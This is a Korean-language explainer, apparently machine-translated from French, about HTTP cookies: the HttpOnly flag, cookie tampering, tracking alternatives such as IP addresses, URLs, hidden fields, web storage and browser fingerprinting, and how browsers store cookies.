쿠키가 HttpOnly 플래그와 함께 전송된 경우 JavaScript와 같은 클라이언트 측 프로그램에서 쿠키를 직접 볼 수 없습니다. 서버의 관점에서 유일한 차이점은 Set-Cookie 헤더 행에 HttpOnly 문자열을 포함하는 새 필드가 추가된다는 것입니다.

Set-Cookie: RMID=732423sdfs73242; expires=Fri, 31-Dec-2010 23:59:59 GMT; path=/; domain=.exemple.net; HttpOnly

브라우저가 이러한 쿠키를 수신하면 다음 HTTP 교환에서 정상적으로 사용되지만 클라이언트 측에서 실행되는 스크립트에 표시되지 않습니다. HttpOnly 플래그는 공식 기술 사양의 일부가 아니며 모든 브라우저에서 구현되지 않습니다. 현재로서는 XMLHTTPRequest 메서드에 의한 세션 쿠키 읽기 및 쓰기를 방지할 수 있는 방법이 없습니다.

콘텐츠 수정: 공격자는 유효하지 않은 쿠키를 서버에 보냅니다. 서버에서 보낸 유효한 쿠키로 만들어졌을 수 있습니다.

쿠키를 저장하고 변경하지 않고 서버로 반환해야 하는 즉시 공격자는 쿠키가 서버로 다시 전송되기 전에 쿠키 값을 수정할 수 있습니다. 예를 들어 쿠키에 상점의 장바구니에 담긴 항목에 대해 사용자가 지불해야 하는 총 값이 포함되어 있는 경우 이 값을 변경하면 공격자가 시작 가격보다 낮은 금액을 청구할 위험에 서버가 노출됩니다. 쿠키의 값을 수정하는 과정을 쿠키 중독 공격을 지속시키기 위해 쿠키 도용 후에 사용할 수 있습니다.

쿠키 재정의 방법에서 공격자는 브라우저 결함을 악용하여 유효하지 않은 쿠키를 서버에 보냅니다.

그러나 대부분의 웹사이트는 쿠키 자체에 세션 ID(세션 사용자를 식별하는 데 사용되는 임의로 생성된 고유 번호)만 저장하고 다른 모든 정보는 서버에 저장합니다. 이 경우 이 문제는 대부분 해결됩니다.

각 사이트에는 자체 쿠키가 있어야 하므로 한 사이트에서 다른 사이트와 관련된 쿠키를 수정하거나 생성할 수 없어야 합니다. 웹 브라우저 보안 결함으로 인해 악성 사이트가 이 규칙을 위반할 수 있습니다. 이러한 결함의 악용은 일반적으로 크로스 사이트 요리. 이러한 공격의 목적은 세션 ID 도용일 수 있습니다.

사용자는 이러한 취약점이 사실상 제거된 최신 버전의 웹 브라우저를 사용해야 합니다.

클라이언트와 서버 간의 충돌 상태

쿠키를 사용하면 클라이언트의 상태와 쿠키에 저장된 상태 사이에 모순이 발생할 수 있습니다. 사용자가 쿠키를 획득하고 브라우저의 "뒤로" 버튼을 클릭하면 일반적으로 브라우저의 상태가 이 획득 전과 동일하지 않습니다. 예를 들어 온라인 상점의 장바구니가 쿠키를 사용하여 생성된 경우 사용자가 브라우저 기록으로 돌아갈 때 장바구니의 내용을 변경할 수 없습니다. " 버튼을 누르면 기사가 이 항목에 남습니다. 기사 추가를 확실히 취소하려는 사용자의 의도가 아닐 수 있습니다. 이로 인해 불안정성, 혼란 및 버그가 발생할 수 있습니다. 따라서 웹 개발자는 이 문제를 인식하고 이와 같은 상황에 대처할 수 있는 조치를 구현해야 합니다.

영구 쿠키는 곧 만료되도록 설정되지 않아 웹 사이트에서 사용자를 추적하고 시간이 지남에 따라 프로필을 구축할 수 있다는 이유로 개인 정보 보안 전문가로부터 비판을 받았습니다. 쿠키의 이러한 측면은 세션 하이재킹 문제의 일부이기도 합니다. 훔친 영구 쿠키를 사용하여 상당한 시간 동안 사용자를 가장할 수 있기 때문입니다.

읽기 : 가팜: 그들은 누구인가? 왜 그들은 (때때로) 그렇게 무서운가?

쿠키의 대안

쿠키를 사용하여 수행할 수 있는 일부 작업은 쿠키를 우회하거나 삭제된 쿠키를 다시 생성하는 다른 메커니즘을 사용하여 수행할 수도 있습니다. 이는 쿠키와 같은 방식으로(때로는 보이지 않기 때문에 더 악화됨) 개인 정보 문제를 만듭니다.

IP 주소

페이지를 호출하는 컴퓨터의 IP 주소로 사용자를 추적할 수 있습니다. 이 기술은 World Wide Web이 도입된 이후 사용 가능했으며, 페이지가 다운로드될 때 서버는 브라우저나 프록시를 실행하는 컴퓨터의 IP 주소를 요청합니다. 서버는 사용 중인 쿠키가 있는지 여부에 관계 없이 이 정보를 추적할 수 있습니다. 그러나 이러한 주소는 컴퓨터와 프록시를 여러 사용자가 공유할 수 있고 동일한 컴퓨터가 각 작업 세션에서 다른 IP 주소를 받을 수 있기 때문에 일반적으로 쿠키보다 사용자를 식별하는 데 덜 안정적입니다(예: c는 종종 전화 연결의 경우). .

전원이 켜져 있는 한 오랜 시간 동안 동일한 IP 주소를 유지하는 광대역 연결과 같은 일부 상황에서는 IP 주소로 추적하는 것이 안정적일 수 있습니다.

Tor와 같은 일부 시스템은 인터넷의 익명성을 유지하고 IP 주소로 추적을 불가능하거나 비현실적으로 만들도록 설계되었습니다.

URL

보다 정확한 기술은 URL에 포함된 정보를 기반으로 합니다. URL의 쿼리 문자열 부분은 일반적으로 이 용도로 사용되는 기술 중 하나이지만 다른 부분도 사용할 수 있습니다. Java serverlet 및 PHP 세션 메커니즘은 쿠키가 활성화되지 않은 경우 이 방법을 사용합니다.

이 방법은 웹 서버가 문자열 요청을 브라우저로 보낼 때 전달하는 웹 페이지의 링크에 추가하는 것과 관련됩니다. 사용자가 링크를 따라가면 브라우저는 첨부된 쿼리 문자열을 서버에 반환합니다.

이 목적에 사용되는 쿼리 문자열과 쿠키는 서버에서 임의로 선택하고 브라우저에서 반환하는 정보라는 점에서 매우 유사합니다. 그러나 몇 가지 차이점이 있습니다. 쿼리 문자열이 포함된 URL을 재사용할 때 동일한 정보가 서버로 전송됩니다. 예를 들어 사용자의 기본 설정이 URL의 쿼리 문자열로 인코딩되고 사용자가 이메일을 통해 해당 URL을 다른 사용자에게 보내는 경우 해당 사용자도 해당 기본 설정을 사용할 수 있습니다.

반면에 사용자가 동일한 페이지에 두 번 액세스하면 동일한 쿼리 문자열이 두 번 모두 사용된다는 보장이 없습니다. 예를 들어 사용자가 처음으로 내부 사이트 페이지의 페이지에 방문하고 두 번째로 외부 페이지에서 동일한 페이지에 방문하는 경우 사이트 페이지와 관련된 쿼리 문자열은 일반적으로 다르지만 쿠키는 동일합니다. .

쿼리 문자열의 다른 단점은 보안과 관련이 있습니다. 쿼리 문자열에서 세션을 식별하는 데이터를 유지하면 세션 고정 공격, 식별자 참조 공격 및 기타 악용이 가능하거나 단순화됩니다. 세션 ID를 HTTP 쿠키로 전달하는 것이 더 안전합니다.

숨겨진 양식 필드

ASP.NET에서 사용하는 세션 추적의 한 형태는 숨겨진 필드가 있는 웹 양식을 사용하는 것입니다. 이 기술은 URL 쿼리 문자열을 사용하여 정보를 전달하는 것과 매우 유사하며 동일한 장점과 단점이 있습니다. 양식이 HTTP GET 메서드로 처리되는 경우 필드는 실제로 양식을 제출할 때 보낼 브라우저의 URL의 일부가 됩니다. 그러나 대부분의 양식은 HTTP POST로 처리되므로 숨겨진 필드를 포함한 양식 정보가 URL이나 쿠키의 일부가 아닌 추가 입력으로 추가됩니다.

이 접근 방식은 추적 관점에서 두 가지 이점이 있습니다. 첫째, URL이 아닌 HTML 소스 코드 및 POST 입력에 배치된 정보를 추적하면 일반 사용자가 이 추적을 피할 수 있습니다. 둘째, 세션 정보는 사용자가 URL을 복사할 때(예를 들어 페이지를 디스크에 저장하거나 이메일을 통해 보내기 위해) 복사되지 않습니다.

창 이름

모든 일반적인 웹 브라우저는 DOM의 window.name 속성을 사용하는 JavaScript를 통해 상당히 많은 양의 데이터(2MB ~ 32MB)를 저장할 수 있습니다. 이 데이터는 세션 쿠키 대신 사용할 수 있으며 도메인 간에도 사용됩니다. 이 기술은 JSON 개체와 결합하여 복잡한 클라이언트 측 세션 변수 집합을 저장할 수 있습니다.

단점은 각 별도의 창이나 탭이 초기에 빈 window.name을 갖는다는 것입니다. 탭으로 탐색할 때(사용자가 연) 이는 개별적으로 열린 탭에 창 이름이 없음을 의미합니다. 또한 window.name은 개인 정보 문제를 제기할 수 있는 여러 사이트에서 방문자를 추적하는 데 사용될 수 있습니다.

어떤 면에서는 서버가 관여하지 않기 때문에 스니퍼 쿠키의 네트워크 공격에 취약하지 않기 때문에 쿠키보다 더 안전할 수 있습니다. 그러나 데이터를 보호하기 위해 특별한 조치를 취하면 같은 창에서 열려있는 다른 사이트를 통해 데이터를 사용할 수 있으므로 추가 공격에 취약합니다.

HTTP 인증

HTTP 프로토콜에는 기본 액세스 인증 프로토콜과 사용자가 사용자 이름과 비밀번호를 제공한 경우에만 웹 페이지에 대한 액세스를 허용하는 액세스 인증 다이제스트가 포함되어 있습니다. 서버가 웹 페이지에 대한 액세스 권한을 부여하기 위해 인증서를 요청하면 브라우저는 사용자에게 인증서를 요청하고 인증서를 받으면 브라우저는 이를 저장하고 이후의 모든 HTTP 요청에서 보냅니다. 이 정보는 사용자를 추적하는 데 사용할 수 있습니다.

로컬 공유 객체

브라우저에 Adobe Flash Player 플러그인이 포함된 경우 로컬 공유 객체 쿠키와 같은 목적으로 사용될 수 있습니다. 다음과 같은 이유로 웹 개발자에게 매력적인 선택이 될 수 있습니다.

로컬 공유 객체의 기본 크기 제한은 100KB입니다.
보안 검사는 사용자 쿠키 검사와 별개입니다(따라서 쿠키가 허용되지 않을 때 로컬 공유 개체를 허용할 수 있음).

쿠키 관리 정책과 Adobe의 로컬 공유 개체의 정책을 구별하는 이 마지막 포인트 질문을 제기 개인 정보 설정의 사용자에 의한 관리와 관련하여: 사용자는 자신의 쿠키 관리가 로컬 공유 객체 관리에 영향을 미치지 않으며 그 반대도 마찬가지임을 알고 있어야 합니다.

이 시스템에 대한 또 다른 비판은 웹 표준이 아닌 독점적인 Adobe Flash Player 플러그인을 통해서만 사용할 수 있다는 것입니다.

클라이언트 측 지속성

일부 웹 브라우저는 나중에 사용할 수 있도록 페이지에서 정보를 로컬로 저장할 수 있는 스크립트 기반 지속성 메커니즘을 지원합니다. 예를 들어 Internet Explorer는 브라우저 기록, 책갈피, XML에 저장된 형식 또는 디스크에 저장된 웹 페이지에 직접 저장된 정보를 지속적으로 지원합니다. Microsoft Internet Explorer 5의 경우 DHTML 동작을 통해 사용할 수 있는 사용자 데이터 메서드가 있습니다.

W3C는 HTML 5에 웹 스토리지라고 하는 클라이언트측 데이터 스토리지를 위한 새로운 JavaScript API를 도입했으며 쿠키를 영구적으로 대체하는 것을 목표로 했습니다. 쿠키와 비슷하지만 용량이 크게 향상되고 HTTP 요청 헤더에 정보를 저장하지 않습니다. API는 영구 쿠키 및 세션 쿠키와 유사한 localstorage 및 sessionstorage의 두 가지 유형의 웹 저장소를 허용합니다. 세션 스토리지 탭이 닫히면 만료됨). 웹 저장소는 Mozilla Firefox 3.5, Google Chrome 5, Apple Safari 4, Microsoft Internet Explorer 8 및 Opera 10.50에서 지원됩니다.

다른 메커니즘은 일반적으로 웹 페이지에서 JavaScript 프로그램을 사용하는 브라우저 캐싱(새로 고침이 아니라 메모리에서)에 의존합니다.

예를 들어 페이지에는 다음 태그가 포함될 수 있습니다. . La première fois que la page se charge, le programme exemple.js est aussi chargé.

이 시점에서 프로그램은 캐시 메모리에 남아 있으며 방문한 페이지는 두 번 다시 로드되지 않습니다. 결과적으로 프로그램에 전역 변수(예: var id = 3243242;)가 포함된 경우 이 식별자는 유효한 상태로 유지되며 페이지가 다시 로드되거나 프로그램을 연결하는 페이지가 로드되면 다른 JavaScript 코드에서 악용될 수 있습니다.

이 방법의 주요 단점은 JavaScript 전역 변수가 정적이어야 한다는 것입니다. 즉, 쿠키처럼 변경하거나 삭제할 수 없습니다.

웹 브라우저 지문

브라우저 지문은 식별 목적으로 브라우저의 구성 설정에 대해 수집된 정보입니다. 이러한 지문은 쿠키가 비활성화된 경우에도 인터넷 사용자 또는 장치를 완전히 또는 부분적으로 식별하는 데 사용할 수 있습니다.

기본 웹 브라우저 구성 정보는 인간의 웹 트래픽을 정확하게 측정하고 다양한 형태의 클릭 사기를 탐지하기 위해 오랫동안 웹 사이트 잠재 고객 서비스에서 수집해 왔습니다. 클라이언트 측 스크립팅 언어의 도움으로 훨씬 더 정확한 정보 수집이 가능합니다. 이제 가능.

이 정보를 비트 문자열로 변환하면 장치 지문이 생성됩니다. 2010년 EFF(Electronic Frontier Foundation)는 브라우저 지문의 엔트로피를 측정했습니다. 18,1 비트, 캔버스 핑거프린팅의 발전으로 엔트로피에 5,7비트가 추가되기 전이었습니다.

간단히 말해서 쿠키

쿠키는 웹 브라우저가 웹사이트 방문자의 하드 드라이브에 저장하는 작은 텍스트 파일이며 무엇보다도 방문자 또는 사이트를 통한 여정에 대한 정보를 기록하는 데 사용됩니다. 따라서 웹마스터는 방문자의 습관을 인식하고 각 방문자에 대해 자신의 사이트 표시를 개인화할 수 있습니다. 그런 다음 쿠키를 사용하면 홈페이지에 표시할 기사 수를 기억하거나 비공개 당사자의 로그인 자격 증명을 유지할 수 있습니다. 방문자가 사이트를 다시 방문하면 더 이상 이름과 암호를 입력할 필요가 없습니다. 쿠키에서 자동으로 읽기 때문에 인식됩니다.

쿠키는 사이트 디자이너가 설정한 제한된 수명을 가집니다. 또한 브라우저 종료에 해당하는 사이트 세션 종료 시 만료될 수 있습니다. 쿠키는 방문자의 삶을 더 쉽게 만들고 더 관련성 높은 정보를 제공하기 위해 널리 사용됩니다. 그러나 특별한 기술을 통해 여러 사이트에서 방문자를 추적할 수 있으므로 그의 습관에 대한 매우 광범위한 정보를 수집하고 교차 확인할 수 있습니다. 이 방법은 방문자의 사생활을 침해하는 감시 기술로 쿠키의 사용에 악명을 주었으며, 이는 불행히도 비기술적인 이유로 사용되거나 사용자의 기대를 존중하지 않고 사용되는 경우가 많은 현실에 부합합니다.

이러한 정당한 우려에 대응하여 HTML 5는 웹 스토리지라는 클라이언트측 데이터 스토리지를 위한 새로운 JavaScript API를 도입했습니다. 이 API는 쿠키를 대체하는 것을 목표로 훨씬 더 안전하고 더 큰 용량을 제공합니다.

쿠키 저장

일부 브라우저에서는 쿠키를 쉽게 편집할 수 있으며 메모장과 같은 간단한 텍스트 편집기로 값을 수동으로 변경할 수 있습니다.

쿠키는 브라우저에 따라 다르게 저장됩니다.

Microsoft Internet Explorer의 각 쿠키를 다른 파일에 저장합니다.
모질라 파이어 폭스 모든 쿠키를 단일 파일에 저장합니다.
Opera 모든 쿠키를 단일 파일에 저장하고 암호화합니다(소프트웨어 옵션을 제외하고 수정할 수 없음).
애플 사파리 모든 쿠키를 단일 .plist 확장 파일에 저장합니다. 수정은 가능하지만 소프트웨어 옵션을 거치지 않는 한 쉽지 않습니다.

지원하려면 브라우저가 필요합니다. 적어도 :

동시 쿠키 300개;
쿠키당 4 o;
호스트 또는 도메인당 20개의 쿠키.

[합계: 0 평균: 0]

인터넷 쿠키: 무엇입니까? 정의, 기원, 유형 및 프라이버시

쿠키의 역할은 무엇이며 쿠키의 유형은 무엇입니까? 🍪

역사적인